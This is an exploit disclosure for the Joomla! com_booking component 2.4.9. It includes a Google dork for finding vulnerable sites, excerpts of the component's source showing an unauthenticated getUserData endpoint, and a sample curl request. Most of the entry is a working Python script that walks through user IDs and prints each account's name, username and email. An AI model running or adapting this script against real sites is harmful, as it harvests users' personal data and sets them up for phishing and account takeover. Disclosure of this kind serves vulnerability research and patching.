Joomla! Booking 2.4.9 Account Enumeration

`# Exploit Title: Joomla! com_booking component 2.4.9 - Information Leak (Account enumeration)  
# Google Dork: inurl:"index.php?option=com_booking"  
# Date: 07/12/2023  
# Exploit Author: qw3rTyTy  
# Vendor Homepage: http://www.artio.net/  
# Software Link: http://www.artio.net/downloads/joomla/book-it/book-it-2-free/download  
# Version: 2.4.9  
# Tested on: Slackware/Nginx/Joomla! 3.10.11  
#  
##  
# File: site/booking.php  
#  
# <?php  
# [...]  
#18 include_once (JPATH_COMPONENT_ADMINISTRATOR . DS . 'booking.php');  
# [...]  
#  
# File: admin/booking.php  
#  
# <?php  
# [...]  
#104 if (class_exists(($classname = AImporter::controller()))) {  
#105 $controller = new $classname();  
#106 /* @var $controller JController */  
#107 $controller->execute(JRequest::getVar('task'));  
#108 $controller->redirect();  
#109 }  
# [...]  
#  
# File: admin/controllers/customer.php  
#  
# <?php  
# [...]  
#240 function getUserData() {  
#241 $user = JFactory::getUser(JRequest::getInt('id'));  
#242 $data = array('name' => $user->name, 'username' => $user->username, 'email' => $user->email);  
#243 die(json_encode($data));  
#244 }  
# [...]  
#  
# A following GET request is equivalent to doing a query like 'SELECT name, username, email FROM abcde_users WHERE id=123'.  
#  
# curl -X GET http://target/joomla/index.php?option=com_booking&controller=customer&task=getUserData&id=123  
#  
# So, an attacker can easily enumerate all accounts by bruteforcing.  
#  
##  
import argparse  
import urllib.parse  
import requests  
from sys import exit  
from time import sleep  
  
def enumerateAccounts(options):  
i = 1  
url = options.url  
url = url + "/index.php?option=com_booking&controller=customer&task=getUserData&id="  
  
while True:  
try:  
response = requests.get("{}{}".format(url, str(i)))  
  
if response.status_code == 200:  
try:  
jsondocument = response.json()  
if jsondocument["name"] != None:  
print(jsondocument)  
except requests.exceptions.JSONDecodeError:  
raise  
else:  
break  
except Exception as ex:  
print(ex)  
break  
  
i += 1  
  
def main():  
p = argparse.ArgumentParser()  
p.add_argument("-u", "--url", type=str, required=True)  
parsed = p.parse_args()  
  
try:  
t = urllib.parse.urlparse(parsed.url)  
except ValueError as ex:  
print(ex)  
exit()  
  
if not t[0].startswith("http") and not t[0].startswith("https"):  
print("Improper URL given.")  
exit()  
  
if len(t[1]) == 0:  
print("Improper URL given.")  
exit()  
  
enumerateAccounts(parsed)  
  
if __name__ == "__main__":  
main()  
  
`